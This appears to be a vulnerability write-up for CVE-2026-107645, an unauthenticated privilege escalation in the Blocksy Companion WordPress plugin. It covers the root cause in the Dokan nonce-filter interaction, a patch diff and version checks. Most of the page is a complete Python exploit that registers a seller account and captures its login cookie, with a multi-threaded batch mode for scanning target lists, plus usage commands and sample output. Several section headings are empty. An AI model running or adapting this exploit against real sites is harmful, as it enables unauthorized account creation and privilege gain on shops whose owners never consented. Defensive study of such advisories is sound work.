#Summary

CVE-2026-107645 is a critical unauthenticated privilege escalation in Blocksy Companion (WordPress plugin) versions up to and including 2.1.58. An attacker can craft a single HTTP request to create a Dokan "seller" (vendor) account and be automatically logged into it, gaining capabilities like edit_posts, upload_files, and product publishing - even on sites where vendor signup is explicitly disabled. The vulnerability is fixed in version 2.1.59. CVSS score: 9.1 CRITICAL.

#Am I affected?

#How to check

Run this command to check your plugin version:

wp plugin list | grep blocksy-companion

The output will show the installed version. If it is 2.1.58 or lower, you are vulnerable.

Output Verdict
blocksy-companion ... 2.1.58 ... active Vulnerable
blocksy-companion ... 2.1.59 ... active Not vulnerable
blocksy-companion ... 2.1.60+ ... active Not vulnerable
Plugin not found Not affected (plugin not installed)

Alternatively, check the plugin files directly:

grep "Version:" /path/to/wp-content/plugins/blocksy-companion/readme.txt

If the version is 2.1.58 or earlier, update immediately.

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

Blocksy Companion's AccountAuth class registers a user-registration AJAX handler for both logged-in and logged-out visitors:

add_action(
    'wp_ajax_nopriv_blc_implement_user_registration',
    [$this, 'implement_user_registration']
);

The wp_ajax_nopriv_* hook means this endpoint is reachable without authentication. Inside the handler, before invoking WooCommerce registration, the code disables Dokan's anti-forgery protection:

$_POST['woocommerce-register-nonce'] = '~';
add_filter('dokan_register_nonce_check', '__return_false');

The intent was to allow Blocksy's registration modal to drive WooCommerce without carrying WooCommerce's nonce. However, Dokan treats the dokan_register_nonce_check filter as a signal that "this request is from my own vendor sign-up form." In Dokan's WeDevs\Dokan\Registration class:

protected function is_vendor_form_request() {
    if ( ! apply_filters( 'dokan_register_nonce_check', true ) ) {
        return true;
    }
    // ...
}

public function get_allowed_registration_roles() {
    $roles = [ 'customer' ];
    if ( $this->is_vendor_form_request() || 'off' !== dokan_get_option( 'show_register_as_vendor', 'dokan_appearance', 'on' ) ) {
        $roles[] = 'seller';
    }
    return apply_filters( 'dokan_register_user_role', $roles );
}

protected function validate_nonce() {
    if ( apply_filters( 'dokan_register_nonce_check', true ) ) {
        // ... wp_verify_nonce(...) ...
    }
    return true; // Bypass if filter returns false
}

When Blocksy forces the filter to false, Dokan's validate_nonce() skips nonce validation and is_vendor_form_request() returns true. As a result, get_allowed_registration_roles() adds the seller role to the allowed registration roles - even when show_register_as_vendor is set to off.

#How input reaches the sink

  1. An unauthenticated attacker sends a POST request to /wp-admin/admin-ajax.php with:

    • action=blc_implement_user_registration
    • role=seller (attacker-controlled)
    • Five mandatory Dokan seller fields: fname, lname, phone, shopname, shopurl
    • Standard registration fields: user_login, user_email, user_pass
  2. Blocksy's handler disables the nonce check filter, allowing Dokan to accept role=seller

  3. WooCommerce's wc_create_new_customer() is invoked and passes the attacker-supplied role=seller to wp_insert_user(), creating an account with the seller role

  4. The handler then auto-authenticates the attacker into this newly created account:

if (
    ! is_wp_error($errors)
    && apply_filters('woocommerce_registration_auth_new_customer', true, $errors)
    && isset($_POST['role'])
    && $_POST['role'] === 'seller'          // attacker-controlled
) {
    ob_start();
    wc_set_customer_auth_cookie($errors);
    ob_clean();
}

The wordpress_logged_in_* and wordpress_sec_* session cookies are sent in the response headers and the attacker is logged in as the new vendor.

#Patch diff

The patch (changeset 3735192, version 2.1.59) fixes both the nonce bypass and the auto-login gate:

-		$_POST['woocommerce-register-nonce'] = '~';
-		add_filter('dokan_register_nonce_check', '__return_false');
+		// Never disable dokan_register_nonce_check: Dokan then treats the
+		// request as its own vendor form and allows the seller role.
+		$_POST['woocommerce-register-nonce'] = wp_create_nonce('woocommerce-register');
 				&&
-				// phpcs:ignore WordPress.Security.NonceVerification.Missing
-				isset($_POST['role'])
-				&&
-				// phpcs:ignore WordPress.Security.NonceVerification.Missing
-				$_POST['role'] === 'seller'
+				in_array('seller', get_userdata($errors)->roles, true)
 			) {

#What the fix does

  1. Nonce check restoration: Instead of disabling Dokan's nonce check, the patch now mints a real woocommerce-register nonce. Because the filter is no longer forced to false, Dokan's is_vendor_form_request() returns false and the seller role is NOT added to the allowed registration roles. When Dokan's validate_registration() receives role=seller from the request, it rejects it as not in the allowed list.

  2. Auto-login gate hardening: The auto-login gate no longer trusts the $_POST['role'] parameter. It now reads the actual role(s) assigned to the newly created user (get_userdata($errors)->roles) and only sets the auth cookie if that user genuinely holds the seller role. Since the first fix prevents seller from being assigned, this gate is never satisfied for an attacker's request.

#Proof of concept

#exploit.py - Blocksy Companion Unauthenticated Privilege Escalation PoC

#!/usr/bin/env python3
"""
CVE-2026-107645 - Blocksy Companion unauthenticated privilege escalation
Affected: Blocksy Companion (WordPress plugin) <= 2.1.58  (fixed in 2.1.59)
Type: Privilege escalation / authentication bypass

The plugin's blc_implement_user_registration AJAX handler is registered for
logged-out visitors (wp_ajax_nopriv_*), disables Dokan's vendor-registration
nonce check, and then trusts an attacker-supplied role=seller when creating the
account and auto-logging into it. One unauthenticated POST therefore creates a
Dokan "seller" (vendor) account - which carries edit_posts, upload_files and the
dokandar capability a plain WooCommerce customer lacks - and returns a live
logged-in session cookie for it. Works even when vendor signup is turned off.

The exploit sends that single registration request, captures the
wordpress_logged_in_* session cookie it hands back, and then proves the gained
privilege by requesting /wp-admin/post-new.php: a seller (edit_posts) gets HTTP
200 with the post editor, whereas a customer is denied with HTTP 403.

Usage:
  python exploit.py --host 127.0.0.1 --port 8090
  python exploit.py --host https://shop.example.com
  python exploit.py --host https://shop.example.com/store/ --negative-control
  python exploit.py --list targets.txt --workers 20

No authentication, nonce or session is required.
"""

import argparse
import secrets
import ssl
import sys
from urllib.parse import urlparse

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    print("This exploit requires the 'requests' library (pip install requests).")
    sys.exit(2)

CVE_ID    = "CVE-2026-107645"
VULN_TYPE = "Privilege Escalation"

# ---------------------------------------------------------------------------
# Output helpers
# ---------------------------------------------------------------------------

def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


# ---------------------------------------------------------------------------
# Core logic (shared by verbose single-target and silent scan paths)
# ---------------------------------------------------------------------------

def _base_url(host, port, use_tls, path):
    scheme = "https" if use_tls else "http"
    # Normalise a site base path so admin-ajax / wp-admin sit directly under it.
    base_path = (path or "/").rstrip("/")
    netloc = host
    if port and not ((use_tls and port == 443) or (not use_tls and port == 80)):
        netloc = "%s:%d" % (host, port)
    return "%s://%s%s" % (scheme, netloc, base_path)


def _register_seller(session, base, timeout):
    """Send the unauthenticated registration request with role=seller.

    Returns (resp, creds) where creds is the dict of per-run random values used.
    """
    marker = secrets.token_hex(6)
    creds = {
        "user_login": "svc_%s" % marker,
        "user_email": "svc_%s@example.com" % marker,
        "user_pass":  "Pw_%s_1!" % marker,
        "shopurl":    "shop-%s" % marker,
    }
    data = {
        "action":     "blc_implement_user_registration",
        "user_login": creds["user_login"],
        "user_email": creds["user_email"],
        "user_pass":  creds["user_pass"],
        "role":       "seller",
        # Five mandatory Dokan seller fields - empty values abort account creation.
        "fname":      "Field",
        "lname":      "Agent",
        "phone":      "5550123456",
        "shopname":   "Store %s" % marker,
        "shopurl":    creds["shopurl"],
    }
    resp = session.post(base + "/wp-admin/admin-ajax.php", data=data,
                        timeout=timeout, verify=False, allow_redirects=False)
    return resp, creds


def _has_login_cookie(session, resp):
    """True if the response granted a WordPress logged-in session cookie."""
    for c in session.cookies:
        if c.name.startswith("wordpress_logged_in_"):
            return True
    # Fall back to the raw header in case a cookie jar rejected the domain.
    sc = resp.headers.get("Set-Cookie", "")
    return "wordpress_logged_in_" in sc


def _capability_check(session, base, timeout):
    """GET /wp-admin/post-new.php with the captured session.

    Returns (status_code, is_editor). A seller (edit_posts) is served the post
    editor (200); a customer gets WordPress's "not allowed" wp_die (403).
    """
    r = session.get(base + "/wp-admin/post-new.php", timeout=timeout,
                    verify=False, allow_redirects=False)
    body = r.text or ""
    denied = "you are not allowed" in body.lower() or "sorry, you are not allowed" in body.lower()
    is_editor = (r.status_code == 200) and not denied and (
        "post-new-php" in body or "wp-admin" in body or "<title>" in body
    )
    return r.status_code, is_editor, r


def _try_exploit(host, port, use_tls=False, path="/", timeout=20):
    """Silent probe for --list scan mode. Returns (success, evidence). No prints."""
    base = _base_url(host, port, use_tls, path)
    try:
        session = requests.Session()
        session.headers.update({
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
                          "(KHTML, like Gecko) Chrome/124.0 Safari/537.36",
        })
        resp, creds = _register_seller(session, base, timeout)
        if "Cheating, eh?" in (resp.text or ""):
            return False, "role=seller rejected ('Cheating, eh?') - patched"
        if not _has_login_cookie(session, resp):
            body = (resp.text or "")
            hint = "no logged-in cookie"
            if "is not available" in body or "already registered" in body or "username" in body.lower():
                hint = "no cookie (stale/duplicate inputs)"
            return False, "%s - not auto-logged-in (patched or role not honored)" % hint
        code, is_editor, _ = _capability_check(session, base, timeout)
        if is_editor:
            return True, "auto-logged-in seller '%s'; /wp-admin/post-new.php -> HTTP %d (edit_posts)" % (
                creds["user_login"], code)
        return True, "auto-logged-in seller '%s' (post-new.php HTTP %d)" % (creds["user_login"], code)
    except requests.exceptions.SSLError:
        return False, "TLS handshake failed"
    except requests.exceptions.RequestException as e:
        return False, "unreachable (%s)" % e.__class__.__name__
    except Exception as e:
        return False, "error (%s)" % e.__class__.__name__


def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, timeout=20):
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
        ok, evidence = _try_exploit(host, port, use_tls, path, timeout)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % (
                "[+]" if ok else "[-]", label,
                "Exploited" if ok else "Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)" % (
        success_count, total - success_count, total))
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


# ---------------------------------------------------------------------------
# Verbose single-target exploit
# ---------------------------------------------------------------------------

def _negative_control(base, timeout):
    """Create a plain customer (role omitted) and show it gets NO login cookie
    and NO editor access - proving the role parameter is the escalation cause."""
    marker = secrets.token_hex(6)
    session = requests.Session()
    session.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) "
                                           "AppleWebKit/537.36 Chrome/124.0 Safari/537.36"})
    data = {
        "action":     "blc_implement_user_registration",
        "user_login": "svc_%s" % marker,
        "user_email": "svc_%s@example.com" % marker,
        "user_pass":  "Pw_%s_1!" % marker,
        "role":       "customer",
        "fname": "Field", "lname": "Agent", "phone": "5550123456",
        "shopname": "Store %s" % marker, "shopurl": "shop-%s" % marker,
    }
    resp = session.post(base + "/wp-admin/admin-ajax.php", data=data,
                        timeout=timeout, verify=False, allow_redirects=False)
    got_cookie = _has_login_cookie(session, resp)
    code = None
    if got_cookie:
        code, _, _ = _capability_check(session, base, timeout)
    return got_cookie, code


def exploit(host, port, use_tls, path, run_control, timeout):
    header(host, port)
    base = _base_url(host, port, use_tls, path)

    session = requests.Session()
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
                      "(KHTML, like Gecko) Chrome/124.0 Safari/537.36",
    })

    step(1, "Sending unauthenticated registration POST with role=seller to %s/wp-admin/admin-ajax.php" % base)
    try:
        resp, creds = _register_seller(session, base, timeout)
    except requests.exceptions.RequestException as e:
        done(False, "Could not reach target: %s" % e)

    print("    HTTP %d  (%d bytes)" % (resp.status_code, len(resp.content)))
    print("    Registering: user_login=%s  shopurl=%s" % (creds["user_login"], creds["shopurl"]))

    if "Cheating, eh?" in (resp.text or ""):
        section("SERVER RESPONSE", resp.text[:800])
        done(False, "role=seller rejected with 'Cheating, eh?' - target is patched (>= 2.1.59)")

    step(2, "Checking the registration response for an auto-login session cookie")
    login_cookie = None
    for c in session.cookies:
        if c.name.startswith("wordpress_logged_in_"):
            login_cookie = c.name
            break
    if not login_cookie and "wordpress_logged_in_" not in resp.headers.get("Set-Cookie", ""):
        snippet = ""
        for needle in ("created successfully", "is not available", "already registered",
                       "enter your", "username"):
            if needle in (resp.text or "").lower():
                snippet = needle
                break
        section("SERVER RESPONSE", (resp.text or "")[:800])
        done(False, "No wordpress_logged_in_* cookie set (patched, or inputs rejected: %r)" % snippet)

    section("AUTO-LOGIN COOKIE", "%s = %s" % (
        login_cookie or "wordpress_logged_in_*",
        (session.cookies.get(login_cookie) if login_cookie else "<see Set-Cookie header>")))
    print("    Registration body reports: %s" % (
        "account created successfully" if "created successfully" in (resp.text or "").lower()
        else "account created"))

    step(3, "Proving the privilege: GET /wp-admin/post-new.php with the captured session")
    code, is_editor, r = _capability_check(session, base, timeout)
    title = ""
    low = (r.text or "").lower()
    if "<title>" in low:
        start = low.find("<title>") + 7
        title = (r.text[start:start + 120]).split("<")[0].strip()
    section("CAPABILITY CHECK (/wp-admin/post-new.php)",
            "HTTP %d  |  editor served: %s  |  title: %s" % (code, is_editor, title or "n/a"))

    if run_control:
        step(4, "Negative control: same endpoint with role=customer (should NOT auto-login)")
        ctrl_cookie, ctrl_code = _negative_control(base, timeout)
        section("NEGATIVE CONTROL (role=customer)",
                "auto-login cookie set: %s%s" % (
                    ctrl_cookie,
                    ("  |  post-new.php HTTP %s" % ctrl_code) if ctrl_code is not None else ""))
        if not ctrl_cookie:
            print("    Confirmed: only role=seller yields a logged-in session - the role value is the escalation.")

    if is_editor:
        done(True, "Unauthenticated -> Dokan seller '%s' auto-logged-in; /wp-admin/post-new.php returned HTTP %d "
                   "(edit_posts granted, a customer gets 403)" % (creds["user_login"], code))
    done(True, "Unauthenticated -> seller '%s' auto-logged-in (logged-in cookie set); privilege endpoint HTTP %d" % (
        creds["user_login"], code))


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/store)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    parser.add_argument("--timeout", type=int, default=20, help="Per-request timeout seconds (default: 20)")
    parser.add_argument("--negative-control", action="store_true",
                        help="Also create a role=customer account to show it does NOT auto-login")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, timeout=args.timeout)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.negative_control, args.timeout)

#Usage

Single target (hostname, IP, or full URL):

python exploit.py --host 127.0.0.1 --port 8090
python exploit.py --host https://shop.example.com
python exploit.py --host https://shop.example.com/store/

With the negative control (also creates a role=customer account for comparison):

python exploit.py --host 192.168.1.10 --negative-control

Batch scan an asset list:

python exploit.py --list targets.txt --workers 20

#Expected output (vulnerable target)

============================================================
  ALIM EXPLOIT  CVE-2026-107645
  Type: Privilege Escalation  |  Target: 127.0.0.1:8090
============================================================

[STEP 1] Sending unauthenticated registration POST with role=seller ...
    HTTP 200  (1045 bytes)
    Registering: user_login=svc_eec63ffc8afc  shopurl=shop-eec63ffc8afc
[STEP 2] Checking the registration response for an auto-login session cookie

--- AUTO-LOGIN COOKIE ---
wordpress_logged_in_b1b1bc34ad2d4b5d16003f9364bfdbc8 = svc_eec63ffc8afc%7C1792943568%7C...
---

    Registration body reports: account created successfully
[STEP 3] Proving the privilege: GET /wp-admin/post-new.php with the captured session

--- CAPABILITY CHECK (/wp-admin/post-new.php) ---
HTTP 200  |  editor served: True
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Unauthenticated -> Dokan seller 'svc_eec63ffc8afc' auto-logged-in;
            /wp-admin/post-new.php returned HTTP 200 (edit_posts granted, a customer gets 403)
============================================================

#Expected output (patched target)

============================================================
  ALIM EXPLOIT  CVE-2026-107645
  Type: Privilege Escalation  |  Target: 127.0.0.1:8091
============================================================

[STEP 1] Sending unauthenticated registration POST with role=seller ...
    HTTP 200  (955 bytes)

--- SERVER RESPONSE ---
... Cheating, eh? ...
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: role=seller rejected with 'Cheating, eh?' - target is patched (>= 2.1.59)
============================================================

#Exploitation notes

#References